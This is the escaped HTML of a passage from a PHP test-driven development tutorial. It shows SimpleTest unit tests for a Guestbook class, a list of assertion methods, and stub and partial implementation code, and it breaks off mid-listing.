&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$guestbook&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt;&amp;nbsp;Guestbook();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$guestbook&lt;/span&gt;-&amp;gt;deleteAll();&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Delete&amp;nbsp;all&amp;nbsp;the&amp;nbsp;entries&amp;nbsp;first&amp;nbsp;so&amp;nbsp;we&amp;nbsp;know&amp;nbsp;it&#39;s&amp;nbsp;an&amp;nbsp;empty&amp;nbsp;table&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$entries&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$guestbook&lt;/span&gt;-&amp;gt;viewAll();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$this&lt;/span&gt;-&amp;gt;assertEqual(&lt;span class=&quot;vars&quot;&gt;$entries&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;array&lt;/span&gt;());&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;php&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;&amp;lt;?php
require_once(dirname(__FILE__) . &#39;/simpletest/autorun.php&#39;);
require_once(&#39;../classes/guestbook.php&#39;);
class TestGuestbook extends UnitTestCase {
    function testViewGuestbookWithEntries()
 {
  $guestbook = new Guestbook();
  // Add new records first
  $guestbook-&amp;gt;add(&quot;Bob&quot;, &quot;Hi, I&#39;m Bob.&quot;);
  $guestbook-&amp;gt;add(&quot;Tom&quot;, &quot;Hi, I&#39;m Tom.&quot;);
  $entries = $guestbook-&amp;gt;viewAll();
  $count_is_greater_than_zero = (count($entries) &amp;gt; 0);
  $this-&amp;gt;assertTrue($count_is_greater_than_zero);
  $this-&amp;gt;assertIsA($entries, &#39;array&#39;);
  foreach($entries as $entry) {
   $this-&amp;gt;assertIsA($entry, &#39;array&#39;);
   $this-&amp;gt;assertTrue(isset($entry[&#39;name&#39;]));
   $this-&amp;gt;assertTrue(isset($entry[&#39;message&#39;]));
  }
 }
 function testViewGuestbookWithNoEntries()
 {
  $guestbook = new Guestbook();
  $guestbook-&amp;gt;deleteAll(); // Delete all the entries first so we know it&#39;s an empty table
  $entries = $guestbook-&amp;gt;viewAll();
  $this-&amp;gt;assertEqual($entries, array());
 }
}
&lt;/pre&gt;
Assertions make sure that a certain thing is what it’s supposed to be—basically, it ensures that what’s returned is what you’re expecting it to return. For example, if a function is supposed to return true if it’s successful, then in our test, we should &lt;b&gt;assert&lt;/b&gt; that the return value is equal to true.&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;script type=&quot;text/javascript&quot;&gt;google_ad_client = &quot;pub-9093712935949486&quot;;
/* 300x250 nettuts middle tutsads */
google_ad_slot = &quot;1775681443&quot;;
google_ad_width = 300;
google_ad_height = 250;&lt;/script&gt; &lt;script src=&quot;http://pagead2.googlesyndication.com/pagead/show_ads.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;ins style=&quot;border: none; display: inline-table; height: 250px; margin: 0; padding: 0; position: relative; visibility: visible; width: 300px;&quot;&gt;&lt;ins id=&quot;aswift_0_anchor&quot; style=&quot;border: none; display: block; height: 250px; margin: 0; padding: 0; position: relative; visibility: visible; width: 300px;&quot;&gt;&lt;iframe allowtransparency=&quot;true&quot; frameborder=&quot;0&quot; height=&quot;250&quot; hspace=&quot;0&quot; id=&quot;aswift_0&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; name=&quot;aswift_0&quot; onload=&quot;var i=this.id,s=window.google_iframe_oncopy,H=s&amp;amp;&amp;amp;s.handlers,h=H&amp;amp;&amp;amp;H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&amp;amp;&amp;amp;d&amp;amp;&amp;amp;(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){w.location.replace(h)}}&quot; scrolling=&quot;no&quot; style=&quot;left: 0; position: absolute; top: 0;&quot; vspace=&quot;0&quot; width=&quot;300&quot;&gt;&lt;/iframe&gt;&lt;/ins&gt;&lt;/ins&gt;&lt;/div&gt;
As you can see here, we test the viewing of the guestbook with entries and without. We check if these two scenarios pass our criteria from step two. You probably also noticed that each of our test functions start with the word ‘test.’ We did this because, when SimpleTest runs this class, it will look for all the functions that start with the word ‘test’ and run it.&lt;br /&gt;
In our test class, we’ve also used some assertion methods, such as assertTrue, assertIsA, and assertEquals. The assertTrue function checks whether or not a value is true. AssertIsA checks if a variable is of a certain type or class. And lastly, assertEquals checks if a variable is totally equal to a certain value.&lt;br /&gt;
There are other assertion methods provided by SimpleTest, which are:&lt;br /&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertTrue($x)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x is false&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertFalse($x)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x is true&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertNull($x)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x is set&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertNotNull($x)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x not set&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertIsA($x, $t)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x is not the class or type $t&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertNotA($x, $t)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x is of the class or type $t&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertEqual($x, $y)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x == $y is false&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertNotEqual($x, $y)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x == $y is true&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertWithinMargin($x, $y, $m)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if abs($x – $y) &amp;lt; $m is false&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertOutsideMargin($x, $y, $m)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if abs($x – $y) &amp;lt; $m is true&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertIdentical($x, $y)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x == $y is false or a type mismatch&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertNotIdentical($x, $y)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if $x == $y is true and types match&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertReference($x, $y)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail unless $x and $y are the same variable&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertClone($x, $y)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail unless $x and $y are identical copies&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertPattern($p, $x)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail unless the regex $p matches $x&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assertNoPattern($p, $x)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail if the regex $p matches $x&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;expectError($x)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Swallows any upcoming matching error&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;assert($e)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fail on failed expectation object $e&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;small&gt;&lt;a href=&quot;http://www.simpletest.org/en/unit_test_documentation.html&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;www.simpletest.org&#39;]);&quot; target=&quot;_blank&quot;&gt;Assertion method list courtesy of http://www.simpletest.org/en/unit_test_documentation.html&lt;/a&gt;&lt;/small&gt;&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 4. Fail to Win&lt;/h2&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/failtowin.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/failtowin.jpg&quot; style=&quot;display: inline;&quot; width=&quot;350&quot; /&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://verydemotivational.com/2010/03/03/demotivational-posters-iron-man-2/&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;verydemotivational.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://verydemotivational.com&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
Once you’re finished writing the code, you should run the test. The first time you run the test, it &lt;b&gt;SHOULD FAIL&lt;/b&gt;. If it doesn’t, then it means that your test doesn’t really test anything.&lt;br /&gt;
To run your test, simply run &lt;b&gt;guestbook_test.php&lt;/b&gt; in your browser. You should see this first:&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/firstfail.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/firstfail.jpg&quot; style=&quot;display: inline;&quot; width=&quot;600&quot; /&gt;&lt;/div&gt;
This happened because we haven’t created our guestbook class yet. To do so, create guestbook.php inside your classes folder. The class should contain the methods we’re planning to use, but shouldn’t contain anything yet at first. Remember, we’re writing the tests first &lt;b&gt;before&lt;/b&gt; writing any code.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&amp;nbsp;Guestbook&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;viewAll()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;add(&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$name&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$message&lt;/span&gt;&amp;nbsp;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;deleteAll()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;php&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;&amp;lt;?php
class Guestbook
{
 public function viewAll() {
 }
 public function add( $name, $message ) {
 }
 public function deleteAll() {
 }
}
&lt;/pre&gt;
When you run the test again, it should look something like this:&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/firstrun2.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/firstrun2.jpg&quot; style=&quot;display: inline;&quot; width=&quot;600&quot; /&gt;&lt;/div&gt;
As we can see here, our test is now winning by failing. This means that our test is now ready to get “answered.”&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/epicwin.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/epicwin.jpg&quot; style=&quot;display: inline;&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://www.gamercastnetwork.com/forums/showthread.php?t=379&amp;amp;page=3&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;www.gamercastnetwork.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://www.gamercastnetwork.com/forums&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 5. Answer Your Test by Writing Code&lt;/h2&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/answer.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/answer.jpg&quot; style=&quot;display: inline;&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;
&lt;small&gt;At some point, we’ve all felt like this when we’re programming.&lt;/small&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://fermentation.typepad.com/fermentation/2008/03/the-persuasive.html&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;fermentation.typepad.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://fermentation.typepad.com/fermentation&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
Now that we have a working automated test, we can start writing code. Open up your &lt;b&gt;guestbook.php&lt;/b&gt; class and start creating the answer to your test.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&amp;nbsp;Guestbook&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;To&amp;nbsp;save&amp;nbsp;time,&amp;nbsp;instead&amp;nbsp;of&amp;nbsp;creating&amp;nbsp;and&amp;nbsp;connecting&amp;nbsp;to&amp;nbsp;a&amp;nbsp;database,&amp;nbsp;we&#39;re&amp;nbsp;going&amp;nbsp;to&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;simulate&amp;nbsp;a&amp;nbsp;&quot;database&quot;&amp;nbsp;by&amp;nbsp;creating&amp;nbsp;a&amp;nbsp;static&amp;nbsp;entries&amp;nbsp;array&amp;nbsp;here.&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;It&amp;nbsp;will&amp;nbsp;be&amp;nbsp;like&amp;nbsp;we&amp;nbsp;have&amp;nbsp;two&amp;nbsp;entries&amp;nbsp;in&amp;nbsp;the&amp;nbsp;table.&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;private&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;static&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$_entries&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;array&lt;/span&gt;(&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;array&lt;/span&gt;&amp;nbsp;(&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&#39;name&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&#39;&lt;/span&gt;Kirk&lt;span class=&quot;string&quot;&gt;&#39;,&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;string&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&#39;&lt;/span&gt;message&lt;span class=&quot;string&quot;&gt;&#39;&amp;nbsp;=&amp;gt;&amp;nbsp;&#39;&lt;/span&gt;Hi,&amp;nbsp;I\&lt;span class=&quot;string&quot;&gt;&#39;m&amp;nbsp;Kirk.&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;),&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;array&lt;/span&gt;&amp;nbsp;(&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;name&#39;&lt;/span&gt;&amp;nbsp;=&amp;gt;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;Ted&#39;&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;message&#39;&lt;/span&gt;&amp;nbsp;=&amp;gt;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;Hi,&amp;nbsp;I\&#39;m&amp;nbsp;Ted.&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;viewAll()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Here,&amp;nbsp;we&amp;nbsp;should&amp;nbsp;retrieve&amp;nbsp;all&amp;nbsp;the&amp;nbsp;records&amp;nbsp;from&amp;nbsp;the&amp;nbsp;database.&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;This&amp;nbsp;is&amp;nbsp;simulated&amp;nbsp;by&amp;nbsp;returning&amp;nbsp;the&amp;nbsp;$_entries&amp;nbsp;array&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;self::&lt;span class=&quot;vars&quot;&gt;$_entries&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;public&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;add(&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$name&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$message&lt;/span&gt;&amp;nbsp;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Here,&amp;nbsp;we&amp;nbsp;simulate&amp;nbsp;insertion&amp;nbsp;into&amp;nbsp;the&amp;nbsp;database&amp;nbsp;by&amp;nbsp;adding&amp;nbsp;a&amp;nbsp;new&amp;nbsp;record&amp;nbsp;into&amp;nbsp;the&amp;nbsp;$_entries&amp;nbsp;array&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;This&amp;nbsp;is&amp;nbsp;the&amp;nbsp;correct&amp;nbsp;way&amp;nbsp;to&amp;nbsp;do&amp;nbsp;it:&amp;nbsp;self::$_entries[]&amp;nbsp;=&amp;nbsp;array(&#39;name&#39;&amp;nbsp;=&amp;gt;&amp;nbsp;$name,&amp;nbsp;&#39;message&#39;&amp;nbsp;=&amp;gt;&amp;nbsp;$message&amp;nbsp;);&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
